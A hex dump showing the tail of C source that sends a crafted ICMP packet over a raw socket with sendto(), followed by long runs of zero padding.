|00003270| 20 27 5c 6e 27 29 3b 0a | 20 20 20 20 20 20 20 20 | '\n');.| |
|00003280| 70 72 69 6e 74 66 28 22 | 5c 6e 22 29 3b 0a 23 65 |printf("|\n");.#e|
|00003290| 6e 64 69 66 09 0a 09 0a | 09 72 65 74 75 72 6e 20 |ndif....|.return |
|000032a0| 73 65 6e 64 74 6f 28 73 | 6f 63 6b 65 74 2c 70 61 |sendto(s|ocket,pa|
|000032b0| 63 6b 65 74 2c 49 50 48 | 44 52 53 49 5a 45 2b 63 |cket,IPH|DRSIZE+c|
|000032c0| 69 7a 65 2b 49 43 4d 50 | 48 44 52 53 49 5a 45 2b |ize+ICMP|HDRSIZE+|
|000032d0| 49 50 48 44 52 53 49 5a | 45 2b 38 2c 30 2c 0a 09 |IPHDRSIZ|E+8,0,..|
|000032e0| 09 20 20 20 20 20 20 28 | 73 74 72 75 63 74 20 73 |. (|struct s|
|000032f0| 6f 63 6b 61 64 64 72 20 | 2a 29 61 64 64 72 65 73 |ockaddr |*)addres|
|00003300| 73 2c 73 69 7a 65 6f 66 | 28 73 74 72 75 63 74 20 |s,sizeof|(struct |
|00003310| 73 6f 63 6b 61 64 64 72 | 29 29 3b 20 0a 09 0a 09 |sockaddr|)); ....|
|00003320| 2f 2a 20 49 43 4d 50 20 | 70 61 63 6b 65 74 20 69 |/* ICMP |packet i|
|00003330| 73 20 6e 6f 77 20 6f 76 | 65 72 20 74 68 65 20 6e |s now ov|er the n|
|00003340| 65 74 2e 20 2a 2f 0a 09 | 0a 20 20 20 20 20 7d 0a |et. */..|. }.|
|00003350| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003360| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003370| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003380| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003390| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000033a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000033b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000033c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000033d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000033e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000033f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003400| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003410| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003420| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003430| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003440| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003450| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003460| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003470| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003480| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003490| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000034a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000034b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000034c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000034d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000034e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000034f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003500| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003510| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003520| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003530| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003540| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003550| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003560| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003570| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003580| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003590| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000035a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000035b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000035c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000035d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000035e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000035f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003600| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003610| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003620| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003630| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003640| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003650| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003660| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003670| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003680| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003690| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000036a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000036b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000036c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000036d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000036e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000036f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003700| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003710| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003720| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003730| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003740| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003750| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003760| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003770| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003780| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00003790| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000037a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000037b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000037c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000037d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
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+--------+-------------------------+-------------------------+--------+--------+
